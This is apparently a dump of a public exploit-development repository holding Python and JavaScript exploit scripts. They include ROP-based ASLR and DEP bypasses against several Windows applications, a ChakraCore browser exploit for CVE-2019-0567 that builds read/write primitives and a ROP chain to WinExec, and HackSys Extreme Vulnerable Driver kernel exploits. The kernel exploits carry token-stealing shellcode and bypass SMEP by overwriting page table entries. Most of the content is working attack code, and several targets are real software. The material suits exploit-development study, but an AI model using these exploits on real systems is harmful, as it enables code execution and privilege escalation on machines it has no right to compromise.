├── ASLR Bypass + ROP ├── Blue_Frost_Security_eko2019_ASLR_and_DEP_Bypass.py ├── DPE_ASLR_and_DEP_Bypass_VirtualProtect.py ├── DSE_ASLR_and_DEP_Bypass_VirtualProtect.py ├── EFSWS_ASLR_and_DEP_Bypass_VirtualProtect.py ├── EFSWS_ASLR_and_DEP_Bypass_WriteProcessMemory.py ├── README.md └── SBE_ASLR_and_DEP_Bypass.py ├── Browser ├── CVE-2019-0567.html ├── CVE-2019-0567.js └── MS13-055.html ├── Kernel ├── Arbitrary Memory Overwrites │ ├── README.md │ ├── x64_HEVD_Windows_10_SMEP_Bypass_Arbitrary_Overwrite.py │ ├── x64_HEVD_Windows_10_SMEP_Bypass_KUSER_SHARED_DATA_Arbitrary_Overwrite.py │ ├── x64_HEVD_Windows_10_SMEP_kCFG_Bypass_Arbitrary_Overwrite.py │ ├── x64_HEVD_Windows_8_No_SMEP_Arbitrary_Overwrite.py │ └── x86_HEVD_Windows_7_Arbitrary_Overwrite.py ├── README.md ├── SMEP Bypass │ ├── x64_HEVD_Windows_10_SMEP_Bypass_Arbitrary_Overwrite.py │ ├── x64_HEVD_Windows_10_SMEP_Bypass_KUSER_SHARED_DATA_Arbitrary_Overwrite.py │ └── x64_HEVD_Windows_10_SMEP_Bypass_Stack_Overflow.py ├── Stack Overflow │ ├── x64_HEVD_Windows_10_SMEP_Bypass_Stack_Overflow.py │ └── x86_HEVD_Windows_7_Stack_Overflow.py └── kCFG Bypass │ └── x64_HEVD_Windows_10_SMEP_kCFG_Bypass_Arbitrary_Overwrite.py ├── README.md └── ROP ├── README.md └── VirtualProtect.py /ASLR Bypass + ROP/Blue_Frost_Security_eko2019_ASLR_and_DEP_Bypass.py: -------------------------------------------------------------------------------- 1 | # Blue Frost Security 'eko2019.exe' Memory Corruption (ASLR and DEP Bypass) 2 | # Full ASLR bypass with information leak (no need for non-ASLR modules) 3 | # Author: Connor McGarr 4 | # In muts we trust. 5 | # Tested on Windows 10 x64 6 | import sys 7 | import os 8 | import socket 9 | import struct 10 | import time 11 | 12 | # 1st check: First 0x10 (16 bytes) are interpreted as the "header" 13 | # 2nd check: Header starts with 0x393130326f6b45 (Eko2019) 14 | # 3rd check: Message must be < 0x201 (513) bytes 15 | 16 | # Defining sleep shorthand 17 | sleep = time.sleep 18 | 19 | # Begin header 20 | 21 | # Adding null terminator in front of Eko2019 string to let eok2019.exe know this is where our header starts 22 | print "[+] Sending the header..." 23 | exploit = "\x45\x6B\x6F\x32\x30\x31\x39\x00" + "\x90"*8 24 | 25 | # Exploit begins here 26 | 27 | # 560 bytes for total crash (16 for header, 544 for the exploit) 28 | # 512 byte offset to the byte we control 29 | exploit += "\x41" * 512 30 | 31 | # This byte converts the instruction we land on after the WriteProcessMemory() call 32 | # \x65 turns this instruction we land on to mov rax,qword ptr gs:[rcx] instead of DS segment register 33 | # The GS segment register gives us access to the PEB at an offset of 0x60 34 | exploit += "\x65" 35 | 36 | # \x60 will be moved in gs:[rcx] (\x41's are padding) 37 | exploit += "\x41\x41\x41\x41\x41\x41\x41\x60" 38 | 39 | # Making sure only \x60 is in rcx 40 | # Must be a multiple of 8- so null bytes to compensate for the other 7 bytes 41 | exploit += "\x00\x00\x00\x00\x00\x00\x00" 42 | 43 | # Message needs to be 528 bytes total 44 | exploit += "\x41" * (544-len(exploit)) 45 | 46 | print "[+] Sending first stage request..." 47 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 48 | s.connect(("172.16.55.132", 54321)) 49 | s.sendall(exploit) 50 | 51 | # Call to eko+0x1000 function (where WriteProcessMemory writes out 1 byte user controlled buffer) returns the value into RAX 52 | # After value is in rax- the server responds with this result (RAX). Here, we are receiving that response and parsing it to find PEB 53 | receive = s.recv(1024) 54 | 55 | # Unpacking the response 56 | print "[+] Extracting the PEB of eko2019.exe..." 57 | unpack = struct.unpack_from(' rax 196 | # LPCSTR lpCmdLine, -> rcx 197 | # UINT uCmdShow - > rdx 198 | # ); 199 | 200 | # Placing first parameter into rcx (a pointer to a "calc\x00" string) 201 | 202 | # The next gadget is a COP gadget that does not return, but calls r12 203 | # Placing an add rsp, 0x10 gadget to act as a "return" to the stack into r12 204 | exploit_4 += struct.pack(' (ROP NOP) 41 | # ESI -> VirtualProtect() 42 | # EBP -> Return address (where to jump after execution) 43 | # ESP -> lpAddress (Staring address for permissions change. Filled dynamically with current ESP value) 44 | # EBX -> dwSize (~size of shellcode) 45 | # EDX -> flNewProtect (desired memory page permissions...) 46 | # ECX -> lpflOldProtect (inherits old permissions- any writeable address) 47 | # EAX -> NOP 48 | 49 | # kernel32!VirtualProtect() -> ESI 50 | 51 | # sqlite3.dll, which has doesn't opt into ASLR, leaks a pointer to kernel32!BaseCreateMultiValue+0xd6 52 | # Loading kernel32!VirtualProtect() into ESI 53 | print "[+] Extracting leaked pointer to kernel32!BaseCreateMultiValue+0xd6 from sqlite3.dll..." 54 | crash += struct.pack(' EBP 66 | 67 | # EBP currently contains an address around the stack. Adding to EBP to point it towards our shellcode location 68 | print "[+] Setting up return address..." 69 | crash += struct.pack(' ESP 74 | 75 | # This is where kernel32!VirtualProtect() will begin making permissions changes 76 | # Filled dynamically at runtime (we don't need to do anything with this) 77 | 78 | # dwSize -> dwSize 79 | 80 | # Size of shellcode 81 | # 0x512 -> 1298 total bytes (more than enough) 82 | print "[+] Setting up dwSize parameter..." 83 | crash += struct.pack(' EDX 89 | 90 | # 0x40 = PAGE_EXECUTE_READWRITE 91 | print "[+] Setting up flNewProtect parameter..." 92 | crash += struct.pack(' ECX 160 | 161 | # Any writeable address 162 | print "[+] Setting up lpflOldProtect parameter..." 163 | crash += struct.pack(' EDI 171 | 172 | # Used to return to kernel32!VirtualProtect function call after PUSHAD 173 | crash += struct.pack(' (ROP NOP) 56 | # ESI -> VirtualProtect() 57 | # EBP -> Return address (where to jump after execution) 58 | # ESP -> lpAddress (Staring address for permissions change. Filled dynamically with current ESP value) 59 | # EBX -> dwSize (~size of shellcode) 60 | # EDX -> flNewProtect (desired memory page permissions...) 61 | # ECX -> lpflOldProtect (inherits old permissions- any writeable address) 62 | # EAX -> NOP 63 | 64 | # 10168074 76d28f9a kernel32!GetDriveTypeAStub 65 | # kernel32!VirtualProtect = kernel32!GetDriveTypeAStub - 0x36ec2 66 | 67 | # Begin ROP chain. In muts we trust. 68 | print "[+] Stack pivot done! Starting ROP chain. Wish us luck..." 69 | 70 | # Return Address (shellcode is futher down the stack) into EBP 71 | print "[+} Placing return address into EBP" 72 | crash += struct.pack('javascriptLibrary->scriptContext->threadContext leaked stack address: 0x" + hex(stackLeak[1]) + hex(stackLeak[0])); 177 | 178 | // Update the lower part of stackleakPointer to actually point to the upper stack limit (the value we leak is a stack address but is still 0xf4000 bytes from the top of the stack) 179 | stackLeak[0] = stackLeak[0] + 0xed000 180 | 181 | // Print update 182 | print("[+] Stack limit: 0x" + hex(hex(stackLeak[1]) + hex(stackLeak[0]))); 183 | 184 | // Let's scan the stack and see if we can't find our return address 185 | // Return address: chakracore+0x1769940 186 | // We target this return address because it is so far away on the stack that we can overwrite it before it is executed 187 | /* 188 | 0:000> u chakracore+0x1769940 189 | chakracore!JsRun+0x40 [c:\users\anon\desktop\chakracore\lib\jsrt\jsrt.cpp @ 5059]: 190 | 00007ffa`54e89940 4883c438 add rsp,38h 191 | 00007ffa`54e89944 c3 ret 192 | */ 193 | 194 | // Creating an array to store the return address because read64() returns an array of 2 32-bit values 195 | var returnAddress = new Uint32Array(0x4); 196 | returnAddress[0] = chakraLo + 0x1769940; 197 | returnAddress[1] = chakraHigh; 198 | 199 | print("[+] Target return address (chakracore!JsRun+0x40): 0x" + hex(returnAddress[1]) + hex(returnAddress[0])); 200 | 201 | // Counter for the stack scan 202 | let counter = 0; 203 | 204 | // Infinite scan until we find the return address 205 | while (true) { 206 | 207 | // Store the "lower half" of the stack address in a temporary variable for offset computation 208 | tempStack = stackLeak[0] + counter; 209 | 210 | // Store the read primitive output in a variable 211 | readContents = read64(tempStack, stackLeak[1]) 212 | 213 | // Do both the "lower" and "upper" parts of our target address correspond? 214 | if ((readContents[0] == returnAddress[0]) && (readContents[1] == returnAddress[1])) 215 | { 216 | print("[+] Found our target return address!"); 217 | break; 218 | } 219 | else 220 | { 221 | // Increment 222 | counter += 0x8; 223 | } 224 | } 225 | 226 | 227 | // Create a new array with our target return address on the stack because we need 2 32-bit values 228 | // We will use this with our write primtive 229 | var stackreturnAddress = new Uint32Array(0x4); 230 | stackreturnAddress[0] = tempStack; 231 | stackreturnAddress[1] = stackLeak[1]; 232 | 233 | // Print update 234 | print("[+] Target stack address with return address to be overwritten: 0x" + hex(stackreturnAddress[1]) + hex(stackreturnAddress[0])); 235 | 236 | // Corrupt the return address with 0x4141414141414141 to control RIP 237 | //write64(stackreturnAddress[0], stackreturnAddress[1], 0x41414141, 0x41414141); 238 | 239 | // Storing the value of KERNEL32!WinExec (the lower part, because we already have the higher part in the variable kernelHigh) 240 | winExec = kernel32Lo + 0x67200; 241 | 242 | // From here on out we control RIP 243 | // Let's stand up a ROP chain to invoke calc.exe via WinExec 244 | 245 | // RCX: Need to create a pointer to the hex representation of calc.exe 246 | // RDX: 0 247 | // WinExec: Need to 16-byte align the stack before returning into WinExec 248 | 249 | // Print update 250 | print("[+] Writing ROP chain to the stack..."); 251 | 252 | // Start ROP chain 253 | popRsi = kernel32Lo + 0x90ed; // pop rsi ; ret (1 found) (kernel32.dll) 254 | write64(stackreturnAddress[0], stackreturnAddress[1], popRsi, kernel32High); 255 | 256 | // Write next gadget 257 | dataAddress = kernel32Lo + 0xb3500; // .data address from kernel32.dll to place the term calc 258 | write64(stackreturnAddress[0]+0x8, stackreturnAddress[1], dataAddress, kernel32High); 259 | 260 | // Write next gadget 261 | popRbx = kernel32Lo + 0x1398; // pop rbx ; ret (1 found) (kernel32.dll) 262 | write64(stackreturnAddress[0]+0x10, stackreturnAddress[1], popRbx, kernel32High); 263 | 264 | // Write next gadget (value of calc technically) 265 | calc = 0x636c6163; // clac (calc after little endian) 266 | write64(stackreturnAddress[0]+0x18, stackreturnAddress[1], calc, 0x00000000); 267 | 268 | // Write next gadget 269 | movRsi = kernel32Lo + 0x1d5fc; // 0x77f3bff418 ; mov rbx, qword [rsp+0x30] ; mov rsi, qword [rsp+0x38] ; add rsp, 0x20 ; pop rdi ; ret (1 found) (kernel32.dll) 270 | write64(stackreturnAddress[0]+0x20, stackreturnAddress[1], movRsi, kernel32High); 271 | 272 | // Padding for add rsp and pop rdi in above gadget 273 | write64(stackreturnAddress[0]+0x28, stackreturnAddress[1], 0x41414141, 0x41414141); 274 | write64(stackreturnAddress[0]+0x30, stackreturnAddress[1], 0x41414141, 0x41414141); 275 | write64(stackreturnAddress[0]+0x38, stackreturnAddress[1], 0x41414141, 0x41414141); 276 | write64(stackreturnAddress[0]+0x40, stackreturnAddress[1], 0x41414141, 0x41414141); 277 | write64(stackreturnAddress[0]+0x48, stackreturnAddress[1], 0x41414141, 0x41414141); 278 | 279 | // Write next gadget 280 | popRcx = chakraLo + 0x2fae2c; // pop rcx ; ret (1 found) (chakracore.dll) 281 | write64(stackreturnAddress[0]+0x50, stackreturnAddress[1], popRcx, chakraHigh); 282 | 283 | // Write next gadget (.data address) // .data address from kernel32.dll containing calc string 284 | write64(stackreturnAddress[0]+0x58, stackreturnAddress[1], dataAddress, kernel32High); 285 | 286 | // Write next gadget 287 | popRdx = chakraLo + 0x40382; // pop rdx ; ret (1 found) (chakracore.dll) 288 | write64(stackreturnAddress[0]+0x60, stackreturnAddress[1], popRdx, chakraHigh); 289 | 290 | // Write next gadget (place 0 into RDX) 291 | write64(stackreturnAddress[0]+0x68, stackreturnAddress[1], 0x00000000, 0x00000000); 292 | 293 | // Write next gadget (ROP NOP To ensure 0x10-byte aligned stack) 294 | ropNop = chakraLo + 0x608fa4; 295 | write64(stackreturnAddress[0]+0x70, stackreturnAddress[1], ropNop, chakraHigh); 296 | 297 | // Print update 298 | print("[+] Returning into kernel32!WinExec! calc.exe incoming!"); 299 | 300 | // Return into WinExec 301 | write64(stackreturnAddress[0]+0x78, stackreturnAddress[1], winExec, kernel32High); 302 | } 303 | 304 | main(); 305 | -------------------------------------------------------------------------------- /Browser/MS13-055.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 182 | 183 | 184 |
185 | 186 | 187 | 188 |
189 | 190 | 191 | 192 | 193 | 194 |
195 | 196 | 197 | -------------------------------------------------------------------------------- /Kernel/Arbitrary Memory Overwrites/README.md: -------------------------------------------------------------------------------- 1 | Arbitrary Memory Overwrites 2 | --- 3 | 4 | 1. x86 Windows 7 SP1 Arbitrary Overwrite 5 | 2. x64 Windows 8.1 Arbitrary Overwrite (No SMEP bypass) 6 | 3. x64 Windows 10 RS1 Arbitrary Overwrite (SMEP bypass via PTE of shellcode overwrite) 7 | 4. x64 Windows 10 RS1 Arbitrary Overwrite (NonPagedPoolNx bypass via PTE of KUSER_SHARED_DATA + 0x800 overwrite) 8 | -------------------------------------------------------------------------------- /Kernel/Arbitrary Memory Overwrites/x64_HEVD_Windows_10_SMEP_Bypass_Arbitrary_Overwrite.py: -------------------------------------------------------------------------------- 1 | # HackSysExtreme Vulnerable Driver Kernel Exploit (x64 Arbitrary Overwrite/SMEP Enabled) 2 | # Windows 10 RS1 3 | # Author: Connor McGarr 4 | 5 | import struct 6 | import sys 7 | import os 8 | from ctypes import * 9 | 10 | kernel32 = windll.kernel32 11 | ntdll = windll.ntdll 12 | psapi = windll.Psapi 13 | 14 | # Fist structure, for obtaining nt!MiGetPteAddress+0x13 value 15 | class WriteWhatWhere_PTE_Base(Structure): 16 | _fields_ = [ 17 | ("What_PTE_Base", c_void_p), 18 | ("Where_PTE_Base", c_void_p) 19 | ] 20 | 21 | # Second structure, for obtaining the control bits for the PTE 22 | class WriteWhatWhere_PTE_Control_Bits(Structure): 23 | _fields_ = [ 24 | ("What_PTE_Control_Bits", c_void_p), 25 | ("Where_PTE_Control_Bits", c_void_p) 26 | ] 27 | 28 | # Third structure, to overwrite the U (user) PTE control bit to an S (supervisor/kernel) bit 29 | class WriteWhatWhere_PTE_Overwrite(Structure): 30 | _fields_ = [ 31 | ("What_PTE_Overwrite", c_void_p), 32 | ("Where_PTE_Overwrite", c_void_p) 33 | ] 34 | 35 | # Fourth structure, to overwrite HalDispatchTable + 0x8 with kernel mode shellcode page 36 | class WriteWhatWhere(Structure): 37 | _fields_ = [ 38 | ("What", c_void_p), 39 | ("Where", c_void_p) 40 | ] 41 | 42 | # Token stealing payload 43 | payload = bytearray( 44 | "\x65\x48\x8B\x04\x25\x88\x01\x00\x00" # mov rax,[gs:0x188] ; Current thread (KTHREAD) 45 | "\x48\x8B\x80\xB8\x00\x00\x00" # mov rax,[rax+0xb8] ; Current process (EPROCESS) 46 | "\x48\x89\xC3" # mov rbx,rax ; Copy current process to rbx 47 | "\x48\x8B\x9B\xF0\x02\x00\x00" # mov rbx,[rbx+0x2f0] ; ActiveProcessLinks 48 | "\x48\x81\xEB\xF0\x02\x00\x00" # sub rbx,0x2f0 ; Go back to current process 49 | "\x48\x8B\x8B\xE8\x02\x00\x00" # mov rcx,[rbx+0x2e8] ; UniqueProcessId (PID) 50 | "\x48\x83\xF9\x04" # cmp rcx,byte +0x4 ; Compare PID to SYSTEM PID 51 | "\x75\xE5" # jnz 0x13 ; Loop until SYSTEM PID is found 52 | "\x48\x8B\x8B\x58\x03\x00\x00" # mov rcx,[rbx+0x358] ; SYSTEM token is @ offset _EPROCESS + 0x358 53 | "\x80\xE1\xF0" # and cl, 0xf0 ; Clear out _EX_FAST_REF RefCnt 54 | "\x48\x89\x88\x58\x03\x00\x00" # mov [rax+0x358],rcx ; Copy SYSTEM token to current process 55 | "\x48\x31\xC0" # xor rax,rax ; set NTSTATUS SUCCESS 56 | "\xC3" # ret ; Done! 57 | ) 58 | 59 | # Defeating DEP with VirtualAlloc. Creating RWX memory, and copying the shellcode in that region. 60 | print "[+] Allocating RWX region for shellcode" 61 | ptr = kernel32.VirtualAlloc( 62 | c_int(0), # lpAddress 63 | c_int(len(payload)), # dwSize 64 | c_int(0x3000), # flAllocationType 65 | c_int(0x40) # flProtect 66 | ) 67 | 68 | # Creates a ctype variant of the payload (from_buffer) 69 | c_type_buffer = (c_char * len(payload)).from_buffer(payload) 70 | 71 | print "[+] Copying shellcode to newly allocated RWX region" 72 | kernel32.RtlMoveMemory( 73 | c_int(ptr), # Destination (pointer) 74 | c_type_buffer, # Source (pointer) 75 | c_int(len(payload)) # Length 76 | ) 77 | 78 | # Print update statement for shellcode location 79 | print "[+] Shellcode is located at {0}".format(hex(ptr)) 80 | 81 | # Creating a pointer for the shellcode (write-what-where writes a pointer to a pointer) 82 | # Using addressof(shellcode_pointer) in Write-what-where structure #5 83 | shellcode_pointer = c_void_p(ptr) 84 | 85 | # c_ulonglong because of x64 size (unsigned __int64) 86 | base = (c_ulonglong * 1024)() 87 | 88 | print "[+] Calling EnumDeviceDrivers()..." 89 | get_drivers = psapi.EnumDeviceDrivers( 90 | byref(base), # lpImageBase (array that receives list of addresses) 91 | sizeof(base), # cb (size of lpImageBase array, in bytes) 92 | byref(c_long()) # lpcbNeeded (bytes returned in the array) 93 | ) 94 | 95 | # Error handling if function fails 96 | if not base: 97 | print "[+] EnumDeviceDrivers() function call failed!" 98 | sys.exit(-1) 99 | 100 | # The first entry in the array with device drivers is ntoskrnl base address 101 | kernel_address = base[0] 102 | 103 | # Print update for ntoskrnl.exe base address 104 | print "[+] Found kernel leak!" 105 | print "[+] ntoskrnl.exe base address: {0}".format(hex(kernel_address)) 106 | 107 | # Phase 1: Grab the base of the PTEs via nt!MiGetPteAddress 108 | 109 | # Retrieving nt!MiGetPteAddress (Windows 10 RS1 offset) 110 | nt_mi_get_pte_address = kernel_address + 0x51214 111 | 112 | # Print update for nt!MiGetPteAddress address 113 | print "[+] nt!MiGetPteAddress is located at: {0}".format(hex(nt_mi_get_pte_address)) 114 | 115 | # Base of PTEs is located at nt!MiGetPteAddress + 0x13 116 | pte_base = nt_mi_get_pte_address + 0x13 117 | 118 | # Print update for nt!MiGetPteAddress+0x13 address 119 | print "[+] nt!MiGetPteAddress+0x13 is located at: {0}".format(hex(pte_base)) 120 | 121 | # Creating a pointer in which the contents of nt!MiGetPteAddress+0x13 will be stored in to 122 | # Base of the PTEs are stored here 123 | base_of_ptes_pointer = c_void_p() 124 | 125 | # Write-what-where structure #1 126 | www_pte_base = WriteWhatWhere_PTE_Base() 127 | www_pte_base.What_PTE_Base = pte_base 128 | www_pte_base.Where_PTE_Base = addressof(base_of_ptes_pointer) 129 | www_pte_pointer = pointer(www_pte_base) 130 | 131 | # Getting handle to driver to return to DeviceIoControl() function 132 | handle = kernel32.CreateFileA( 133 | "\\\\.\\HackSysExtremeVulnerableDriver", # lpFileName 134 | 0xC0000000, # dwDesiredAccess 135 | 0, # dwShareMode 136 | None, # lpSecurityAttributes 137 | 0x3, # dwCreationDisposition 138 | 0, # dwFlagsAndAttributes 139 | None # hTemplateFile 140 | ) 141 | 142 | # 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function 143 | kernel32.DeviceIoControl( 144 | handle, # hDevice 145 | 0x0022200B, # dwIoControlCode 146 | www_pte_pointer, # lpInBuffer 147 | 0x8, # nInBufferSize 148 | None, # lpOutBuffer 149 | 0, # nOutBufferSize 150 | byref(c_ulong()), # lpBytesReturned 151 | None # lpOverlapped 152 | ) 153 | 154 | # CTypes way of dereferencing a C void pointer 155 | base_of_ptes = struct.unpack('> 9 165 | shellcode_pte &= 0x7ffffffff8 166 | shellcode_pte += base_of_ptes 167 | 168 | # Print update for Shellcode PTE 169 | print "[+] PTE for the shellcode memory page is located at {0}".format(hex(shellcode_pte)) 170 | 171 | # Phase 3: Extract shellcode's PTE control bits 172 | 173 | # Declaring C void pointer to store shellcode PTE control bits 174 | shellcode_pte_bits_pointer = c_void_p() 175 | 176 | # Write-what-where structure #2 177 | www_pte_bits = WriteWhatWhere_PTE_Control_Bits() 178 | www_pte_bits.What_PTE_Control_Bits = shellcode_pte 179 | www_pte_bits.Where_PTE_Control_Bits = addressof(shellcode_pte_bits_pointer) 180 | www_pte_bits_pointer = pointer(www_pte_bits) 181 | 182 | # 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function 183 | kernel32.DeviceIoControl( 184 | handle, # hDevice 185 | 0x0022200B, # dwIoControlCode 186 | www_pte_bits_pointer, # lpInBuffer 187 | 0x8, # nInBufferSize 188 | None, # lpOutBuffer 189 | 0, # nOutBufferSize 190 | byref(c_ulong()), # lpBytesReturned 191 | None # lpOverlapped 192 | ) 193 | 194 | # CTypes way of dereferencing a C void pointer 195 | shellcode_pte_control_bits_usermode = struct.unpack('> 9 165 | shellcode_pte &= 0x7ffffffff8 166 | shellcode_pte += base_of_ptes 167 | 168 | # Print update for Shellcode PTE 169 | print "[+] PTE for the shellcode memory page is located at {0}".format(hex(shellcode_pte)) 170 | 171 | # Phase 3: Extract shellcode's PTE control bits 172 | 173 | # Declaring C void pointer to store shellcode PTE control bits 174 | shellcode_pte_bits_pointer = c_void_p() 175 | 176 | # Write-what-where structure #2 177 | www_pte_bits = WriteWhatWhere_PTE_Control_Bits() 178 | www_pte_bits.What_PTE_Control_Bits = shellcode_pte 179 | www_pte_bits.Where_PTE_Control_Bits = addressof(shellcode_pte_bits_pointer) 180 | www_pte_bits_pointer = pointer(www_pte_bits) 181 | 182 | # 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function 183 | kernel32.DeviceIoControl( 184 | handle, # hDevice 185 | 0x0022200B, # dwIoControlCode 186 | www_pte_bits_pointer, # lpInBuffer 187 | 0x8, # nInBufferSize 188 | None, # lpOutBuffer 189 | 0, # nOutBufferSize 190 | byref(c_ulong()), # lpBytesReturned 191 | None # lpOverlapped 192 | ) 193 | 194 | # CTypes way of dereferencing a C void pointer 195 | shellcode_pte_control_bits_usermode = struct.unpack('> 9 208 | kuser_shared_data_800_pte_address &= 0x7ffffffff8 209 | kuser_shared_data_800_pte_address += base_of_ptes 210 | 211 | # Print update for KUSER_SHARED_DATA + 0x800 PTE 212 | print "[+] PTE for KUSER_SHARED_DATA + 0x800 is located at {0}".format(hex(kuser_shared_data_800_pte_address)) 213 | 214 | # Phase 3: Write shellcode to KUSER_SHARED_DATA + 0x800 215 | 216 | # First 8 bytes 217 | 218 | # Using just long long integer, because only writing opcodes. 219 | first_shellcode = c_ulonglong(0x00018825048B4865) 220 | 221 | # Write-what-where structure #2 222 | www_shellcode_one = WriteWhatWhere_Shellcode_1() 223 | www_shellcode_one.What_Shellcode_1 = addressof(first_shellcode) 224 | www_shellcode_one.Where_Shellcode_1 = KUSER_SHARED_DATA + 0x800 225 | www_shellcode_one_pointer = pointer(www_shellcode_one) 226 | 227 | # Print update for shellcode 228 | print "[+] Writing first 8 bytes of shellcode to KUSER_SHARED_DATA + 0x800..." 229 | 230 | # 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function 231 | kernel32.DeviceIoControl( 232 | handle, # hDevice 233 | 0x0022200B, # dwIoControlCode 234 | www_shellcode_one_pointer, # lpInBuffer 235 | 0x8, # nInBufferSize 236 | None, # lpOutBuffer 237 | 0, # nOutBufferSize 238 | byref(c_ulong()), # lpBytesReturned 239 | None # lpOverlapped 240 | ) 241 | 242 | # Next 8 bytes 243 | second_shellcode = c_ulonglong(0x000000B8808B4800) 244 | 245 | # Write-what-where structure #3 246 | www_shellcode_two = WriteWhatWhere_Shellcode_2() 247 | www_shellcode_two.What_Shellcode_2 = addressof(second_shellcode) 248 | www_shellcode_two.Where_Shellcode_2 = KUSER_SHARED_DATA + 0x808 249 | www_shellcode_two_pointer = pointer(www_shellcode_two) 250 | 251 | # Print update for shellcode 252 | print "[+] Writing next 8 bytes of shellcode to KUSER_SHARED_DATA + 0x808..." 253 | 254 | # 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function 255 | kernel32.DeviceIoControl( 256 | handle, # hDevice 257 | 0x0022200B, # dwIoControlCode 258 | www_shellcode_two_pointer, # lpInBuffer 259 | 0x8, # nInBufferSize 260 | None, # lpOutBuffer 261 | 0, # nOutBufferSize 262 | byref(c_ulong()), # lpBytesReturned 263 | None # lpOverlapped 264 | ) 265 | 266 | # Next 8 bytes 267 | third_shellcode = c_ulonglong(0x02F09B8B48C38948) 268 | 269 | # Write-what-where structure #4 270 | www_shellcode_three = WriteWhatWhere_Shellcode_3() 271 | www_shellcode_three.What_Shellcode_3 = addressof(third_shellcode) 272 | www_shellcode_three.Where_Shellcode_3 = KUSER_SHARED_DATA + 0x810 273 | www_shellcode_three_pointer = pointer(www_shellcode_three) 274 | 275 | # Print update for shellcode 276 | print "[+] Writing next 8 bytes of shellcode to KUSER_SHARED_DATA + 0x810..." 277 | 278 | # 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function 279 | kernel32.DeviceIoControl( 280 | handle, # hDevice 281 | 0x0022200B, # dwIoControlCode 282 | www_shellcode_three_pointer, # lpInBuffer 283 | 0x8, # nInBufferSize 284 | None, # lpOutBuffer 285 | 0, # nOutBufferSize 286 | byref(c_ulong()), # lpBytesReturned 287 | None # lpOverlapped 288 | ) 289 | 290 | # Next 8 bytes 291 | fourth_shellcode = c_ulonglong(0x0002F0EB81480000) 292 | 293 | # Write-what-where structure #5 294 | www_shellcode_four = WriteWhatWhere_Shellcode_4() 295 | www_shellcode_four.What_Shellcode_4 = addressof(fourth_shellcode) 296 | www_shellcode_four.Where_Shellcode_4 = KUSER_SHARED_DATA + 0x818 297 | www_shellcode_four_pointer = pointer(www_shellcode_four) 298 | 299 | # Print update for shellcode 300 | print "[+] Writing next 8 bytes of shellcode to KUSER_SHARED_DATA + 0x818..." 301 | 302 | # 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function 303 | kernel32.DeviceIoControl( 304 | handle, # hDevice 305 | 0x0022200B, # dwIoControlCode 306 | www_shellcode_four_pointer, # lpInBuffer 307 | 0x8, # nInBufferSize 308 | None, # lpOutBuffer 309 | 0, # nOutBufferSize 310 | byref(c_ulong()), # lpBytesReturned 311 | None # lpOverlapped 312 | ) 313 | 314 | # Next 8 bytes 315 | fifth_shellcode = c_ulonglong(0x000002E88B8B4800) 316 | 317 | # Write-what-where structure #6 318 | www_shellcode_five = WriteWhatWhere_Shellcode_5() 319 | www_shellcode_five.What_Shellcode_5 = addressof(fifth_shellcode) 320 | www_shellcode_five.Where_Shellcode_5 = KUSER_SHARED_DATA + 0x820 321 | www_shellcode_five_pointer = pointer(www_shellcode_five) 322 | 323 | # Print update for shellcode 324 | print "[+] Writing next 8 bytes of shellcode to KUSER_SHARED_DATA + 0x820..." 325 | 326 | # 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function 327 | kernel32.DeviceIoControl( 328 | handle, # hDevice 329 | 0x0022200B, # dwIoControlCode 330 | www_shellcode_five_pointer, # lpInBuffer 331 | 0x8, # nInBufferSize 332 | None, # lpOutBuffer 333 | 0, # nOutBufferSize 334 | byref(c_ulong()), # lpBytesReturned 335 | None # lpOverlapped 336 | ) 337 | 338 | # Next 8 bytes 339 | sixth_shellcode = c_ulonglong(0x8B48E57504F98348) 340 | 341 | # Write-what-where structure #7 342 | www_shellcode_six = WriteWhatWhere_Shellcode_6() 343 | www_shellcode_six.What_Shellcode_6 = addressof(sixth_shellcode) 344 | www_shellcode_six.Where_Shellcode_6 = KUSER_SHARED_DATA + 0x828 345 | www_shellcode_six_pointer = pointer(www_shellcode_six) 346 | 347 | # Print update for shellcode 348 | print "[+] Writing next 8 bytes of shellcode to KUSER_SHARED_DATA + 0x828..." 349 | 350 | # 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function 351 | kernel32.DeviceIoControl( 352 | handle, # hDevice 353 | 0x0022200B, # dwIoControlCode 354 | www_shellcode_six_pointer, # lpInBuffer 355 | 0x8, # nInBufferSize 356 | None, # lpOutBuffer 357 | 0, # nOutBufferSize 358 | byref(c_ulong()), # lpBytesReturned 359 | None # lpOverlapped 360 | ) 361 | 362 | # Next 8 bytes 363 | seventh_shellcode = c_ulonglong(0xF0E180000003588B) 364 | 365 | # Write-what-where structure #8 366 | www_shellcode_seven = WriteWhatWhere_Shellcode_7() 367 | www_shellcode_seven.What_Shellcode_7 = addressof(seventh_shellcode) 368 | www_shellcode_seven.Where_Shellcode_7 = KUSER_SHARED_DATA + 0x830 369 | www_shellcode_seven_pointer = pointer(www_shellcode_seven) 370 | 371 | # Print update for shellcode 372 | print "[+] Writing next 8 bytes of shellcode to KUSER_SHARED_DATA + 0x830..." 373 | 374 | # 0x002200B = IOCTL code that will jump to TriggerArbitraryOverwrite() function 375 | kernel32.DeviceIoControl( 376 | handle, # hDevice 377 | 0x0022200B, # dwIoControlCode 378 | www_shellcode_seven_pointer, # lpInBuffer 379 | 0x8, # nInBufferSize 380 | None, # lpOutBuffer 381 | 0, # nOutBufferSize 382 | byref(c_ulong()), # lpBytesReturned 383 | None # lpOverlapped 384 | ) 385 | 386 | # Next 8 bytes 387 | eighth_shellcode = c_ulonglong(0x4800000358888948) 388 | 389 | # Write-what-where structure #9 390 | www_shellcode_eight = WriteWhatWhere_Shellcode_8() 391 | www_shellcode_eight.What_Shellcode_8 = addressof(eighth_shellcode) 392 | www_shellcode_eight.Where_Shellcode_8 = KUSER_SHARED_DATA + 0x838 393 | www_shellcode_eight_pointer = pointer(www_shellcode_eight) 394 | 395 | # Print update for shellcode 396 | print "[+] Writing next 8 bytes of shellcode to KUSER_SHARED_DATA + 0x838..." 397 | 398 | # 0x002200B = IOCTL code that will jump to 